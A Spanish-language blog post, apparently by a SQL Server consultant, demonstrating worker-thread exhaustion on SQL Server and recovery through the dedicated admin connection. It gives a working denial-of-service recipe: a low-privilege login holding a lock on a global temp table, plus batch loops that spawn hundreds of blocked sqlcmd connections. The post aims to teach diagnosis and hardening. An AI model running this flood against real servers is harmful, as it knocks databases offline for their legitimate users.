En muchas ocasiones nos encontramos con entornos de producción donde “demasiada gente” tiene acceso. En muchos casos son accesos de “solo lectura” aunque eso no los hace inofensivos de cara a la estabilidad del sistema. Pero podemos ir más allá, vamos a ver como con un login, con rol public, sin acceso a ninguna base de datos de usuario, se puede realizar fácilmente un ataque de denegación de servicio (DoS) contra SQL Server.

Este ataque se basa en la extenuación de los workers de una instancia. Para comprender mejor el funcionamiento del ataque vamos a explicar algunos conceptos a un nivel muy básico:

  • Scheduler: Tenemos uno por cada core lógico que se le presente a la instancia. Se encarga del acceso en modo cooperativo al core asignado por parte de los workers.
  • Task: Representa una tarea que hay que realizar. Puede ser desde un login hasta la ejecución de un operador de un plan de ejecución.
  • Worker: Es la representación lógica de un thread dentro del SQLOS. Son los responsables de ejecutar una tarea en un scheduler.

Con la configuración por defecto (max worker threads = 0) SQL Server crea un número de workers al arrancar y mantendrá un número dinámico de ellos en función de la carga hasta un máximo que se calcula en base a varias variables:

Sistemas de 32 bits

  • Cores <= 4 : max worker threads = 256
  • Cores > 4 : max worker threads = 256 + ((cores – 4) * 8)

Sistemas de 64 bits

  • Cores <= 4 : max worker threads = 512
  • Cores > 4 : max worker threads = 512 + ((cores – 4) * 16)

Es decir que para un equipo con 8 cores de 64 bits el valor de max worker threads será equivalente a 512 + (8-4)*16) = 576. Podemos obtener el valor calculado para nuestra instancia con la siguiente consulta:

SELECT max_workers_count FROM sys.dm_os_sys_info

 

Si decidiéramos configurar un número mayor de worker threads debemos tener en cuenta que se necesita una cantidad de memoria importante por cada uno de ellos, por ejemplo en un sistema x64 son casi 2 MB los que necesita cada worker. También comentar que en sistemas migrados desde SQL 2000 nos encontramos en ocasiones el valor 255 configurado tras la migración ya que era el máximo en dicha versión y el proceso de migración no lo modifica.

Desde el momento en que un usuario puede acceder a nuestra instancia, puede comenzar a hacer uso de estos workers que deben ser compartidos para el buen funcionamiento. Incluso el proceso de login depende de la disponibilidad de dichos workers, lo cual hará que la extenuación de éstos produzca que no podamos conectarnos con normalidad a la instancia. El primer paso para esta prueba de concepto será crear un login básico sin ningún permiso adicional:

USE [master]
GO
CREATE LOGIN [usubasic] WITH PASSWORD=N'Pa$$w0rd'
GO

 

Con este usuario lo que haremos es una conexión inicial que lanzará una creación de tabla temporal, abrirá una transacción y añadirá una fila a dicha tabla:

IF OBJECT_ID('tempdb..##lock') IS NOT NULL DROP TABLE ##lock;
CREATE TABLE ##lock (i INT) ;

BEGIN TRAN;
INSERT INTO ##lock (i) VALUES (1)

 

Una vez tengamos esto, lanzaremos desde otra conexión sobre dicha tabla una consulta que, obviamente, quedará bloqueada:

SELECT * FROM ##lock

 

Si lanzamos la siguiente consulta podremos ver el número y estado de cada uno de los workers de nuestra instancia:

select COUNT(*), state from sys.dm_os_workers
GROUP BY state
ORDER BY COUNT(*) desc

 

DoS_1

A continuación lanzaremos por ejemplo 200 consultas sobre la tabla temporal adicionales con algo tan sencillo como un script batch MS-DOS como este:

FOR /l %%i IN (1,1,200) DO (
start /B sqlcmd -S localhost -U usubasic -P Pa$$w0rd -Q "select * from ##lock" >NUL 2>NUL
)

 

Si volvemos a lanzar la consulta anterior veremos que ahora mismo tenemos más de 200 workers con estado suspended (esperando en este caso a que se libere el bloqueo sobre la tabla):

DoS_2

Si tenemos en cuenta que en mi entorno de prueba el número máximo de workers era 576, nos bastará con lanzar 400 más para asegurarnos que excedemos el límite:

FOR /l %%i IN (1,1,400) DO (
start /B sqlcmd -S localhost -U usubasic -P Pa$$w0rd -Q "select * from ##lock" >NUL 2>NUL
)

 

Una vez hayamos lanzado las 600 peticiones comprobaremos que, incluso conexiones ya existentes a la base de datos, no responderán a ningún comando, por sencillo que sea, al no disponer de ningún worker libre:

DoS_4

Si intentamos establecer una nueva conexión contra la instancia, obtendremos un error de login timeout:

DoS_5

Llegados a este punto la única forma de conectar que nos quedaría sería, como administradores y desde la propia máquina (salvo que habilitáramos previamente el acceso remoto a la DAC), conectar mediante la única conexión administrativa disponible. Para ello conectaremos a la instancia indicando ADMIN:nombreinstancia:

DoS_6

Una vez conectados obtendremos el estado de los workers con la consulta anterior y vemos que tenemos un número por encima del máximo. La razón es que hay un conjunto de workers extra que pueden ser creados para la DAC y para otros procesos internos:

DoS_7

Una vez que tenemos acceso, el siguiente paso sería mirar si tenemos bloqueos. En nuestro caso como ya sabemos que se trata de un conflicto entre lectores y escritores (select-insert) vamos a buscar aquellos bloqueos concedidos de tipo exclusivo (X) y aquellos de tipo compartido (S) que no están concedidos:

SELECT * FROM sys.dm_tran_locks WHERE (request_status='WAIT' AND request_mode='S') OR (request_status='GRANT' AND request_mode='X')

 

DoS_8

Podemos ver que la sesión que tiene el bloqueo «cabecera» del problema es la 52 por lo que si la matamos con un KILL 52 permitiremos que el resto ejecuten y, por tanto, se liberen los workers para que el sistema vuelva a responder. Aunque en este caso se trata de un ataque intencionado, la misma situación nos la podemos encontrar si tenemos un bloqueo por un error de aplicación (que deja una transacción abandonada por ejemplo) y comenzamos a tener muchos otros usuarios que van quedando bloqueados por culpa de ello.

Situaciones similares a esta nos las hemos encontrado en producción y en muchos casos los administradores han recurrido, sin ser necesario, a un reinicio del servidor. El reinicio nos solucionaría el problema en este caso pero perderemos información sobre el origen del problema. Si es posible siempre convendría, antes de reiniciar o tomar una medida radical, conectarnos con la DAC y al menos guardar el resultado de algunas DMVs como sys.dm_tran_locks para poder analizar el problema a posteriori.

En conclusión, no debemos permitir acceso directo al SQL Server a ningún usuario a excepción de los administradores. En el caso que, de forma inevitable, tengamos que dar acceso «libre» de lectura a usuarios deberíamos intentar que dicho acceso sea sobre una copia de los datos (réplica transaccional, logshipping, réplica de un availability group con acceso a lectura, restore en otro entorno, clonado de máquina virtual, etc.). El resto de accesos deberían realizarse mediante aplicaciones correctamente securizadas y controladas. También deberíamos intentar tener al menos una capa intermedia para acceso a datos que podamos controlar/securizar desde IT independientemente de las aplicaciones cliente (más difíciles de securizar habitualmente). Evitaremos por tanto las aplicaciones cliente-servidor que ataquen directamente a la base de datos de producción ya que el tienen un riesgo elevado de poder causarnos problemas.

Rubén Garrigós

Rubén Garrigós is an expert in high-availability enterprise solutions based on SQL Server design, tuning, and troubleshooting. Over the past fifteen years, he has worked with Microsoft data access technologies in leading companies around the world. He currently is a Microsoft SQL Server and .NET applications architect with SolidQ. Ruben is certified by Microsoft as a Solution Expert on the Microsoft Data Platform (MSCE: Data Platform) and as a Solution Expert on the Microsoft Private Cloud (MSCE: Private Cloud). As a Microsoft Certified Trainer (MCT), Ruben has taught multiple official Microsoft courses as well as other courses specializing in SQL Server. He has also presented sessions at official events for various Microsoft technologies user groups.

Latest posts by Rubén Garrigós (see all)